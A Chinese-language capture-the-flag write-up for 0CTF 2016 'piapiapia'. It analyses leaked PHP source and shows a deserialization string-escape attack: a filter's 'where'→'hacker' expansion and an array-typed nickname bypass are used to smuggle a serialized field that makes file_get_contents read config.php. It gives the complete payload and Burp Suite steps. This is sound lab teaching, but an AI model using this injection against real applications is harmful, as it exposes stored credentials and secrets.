[0CTF 2016]piapiapia
使用burpsuite进行目录扫描,发现网站备份文件
index.php
1 <?php 2 require_once('class.php'); 3 if($_SESSION['username']) { 4 header('Location: profile.php'); 5 exit; 6 } 7 if($_POST['username'] && $_POST['password']) { 8 $username = $_POST['username']; 9 $password = $_POST['password']; 10 11 if(strlen($username) < 3 or strlen($username) > 16) 12 die('Invalid user name'); 13 14 if(strlen($password) < 3 or strlen($password) > 16) 15 die('Invalid password'); 16 17 if($user->login($username, $password)) { 18 $_SESSION['username'] = $username; 19 header('Location: profile.php'); 20 exit; 21 } 22 else { 23 die('Invalid user name or password'); 24 } 25 } 26 else { 27 ?>
代码第17行到20行,用户登陆成功后跳转到profile.php
profile.php
1 <?php 2 require_once('class.php'); 3 if($_SESSION['username'] == null) { 4 die('Login First'); 5 } 6 $username = $_SESSION['username']; 7 $profile=$user->show_profile($username); 8 if($profile == null) { 9 header('Location: update.php'); 10 } 11 else { 12 $profile = unserialize($profile); 13 $phone = $profile['phone']; 14 $email = $profile['email']; 15 $nickname = $profile['nickname']; 16 $photo = base64_encode(file_get_contents($profile['photo'])); 17 ?>
代码第12行可能存在反序列化漏洞,代码第16行可以通过file_get_contents函数读取文件内容
我们可以跟踪一下$profile,发现它是show_profile()返回值,show_profile()位于class.php
class.php
1 public function show_profile($username) { 2 $username = parent::filter($username); 3 $where = "username = '$username'"; 4 $object = parent::select($this->table, $where); 5 return $object->profile; 6 }
从代码第2行可以看到$username经过了filter()过滤, 跟踪一下filter()
1 public function filter($string) { 2 $escape = array('\'', '\\\\'); 3 $escape = '/' . implode('|', $escape) . '/'; 4 $string = preg_replace($escape, '_', $string); 5 $safe = array('select', 'insert', 'update', 'delete', 'where'); 6 $safe = '/' . implode('|', $safe) . '/i'; 7 return preg_replace($safe, 'hacker', $string); 8 }
filter()会将'select', 'insert', 'update', 'delete', 'where'关键字替换为'hacker',然后返回
update.php
1 <?php 2 require_once('class.php'); 3 if($_SESSION['username'] == null) { 4 die('Login First'); 5 } 6 if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { 7 8 $username = $_SESSION['username']; 9 if(!preg_match('/^\d{11}$/', $_POST['phone'])) 10 die('Invalid phone'); 11 12 if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) 13 die('Invalid email'); 14 15 if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) 16 die('Invalid nickname'); 17 18 $file = $_FILES['photo']; 19 if($file['size'] < 5 or $file['size'] > 1000000) 20 die('Photo size error'); 21 22 move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); 23 $profile['phone'] = $_POST['phone']; 24 $profile['email'] = $_POST['email']; 25 $profile['nickname'] = $_POST['nickname']; 26 $profile['photo'] = 'upload/' . md5($file['name']); 27 28 $user->update_profile($username, serialize($profile)); 29 echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; 30 } 31 else { 32 ?>
代码第15-16行
1 if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) 2 die('Invalid nickname');
这段代码可以通过将nickname变量赋值为数组便可以绕过,也就是这样nikename[]=
代码第23-28行将用户注册的信息序列化后保存到数据库中
config.php
<?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?>
可以看见$flag在当期php文件中,那么目的就很明确了,我们需要获取config.php文件内容
综上所诉,我们可以利用update.php序列化那段代码,也就是将s:10:"config.php";}添加到序列化结果后面,反序列化时就能通过profile.php中file_get_content()来获取config.php的文件内容
update.php中$nickname可以成为利用点,$nickname后面需要序列化的内容为
;}s:5:"photo";s:10:"config.php";}
长度为34,所以需要想办法挤出34位长度,这时候就想到了class.php中的过滤代码
public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
每次过滤where关键字的时候就会将字符串的长度添加1位,所以我们需要在$nickname中输入34个where,然后将;}s:5:"photo";s:10:"config.php";}添加到关键字后面,反序列化是通过file_get_contents()便可以读取到config.php文件中的内容
payLoad:
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
总结步骤:
1.注册一个用户
2.登陆用户
3.进入update.php使用burpsuite抓包,修改$nickename为nickename[]和$nickename的值
使用burpsuite抓包
点击进入到profile.php
查看源代码,其中的base64编码为config.php的内容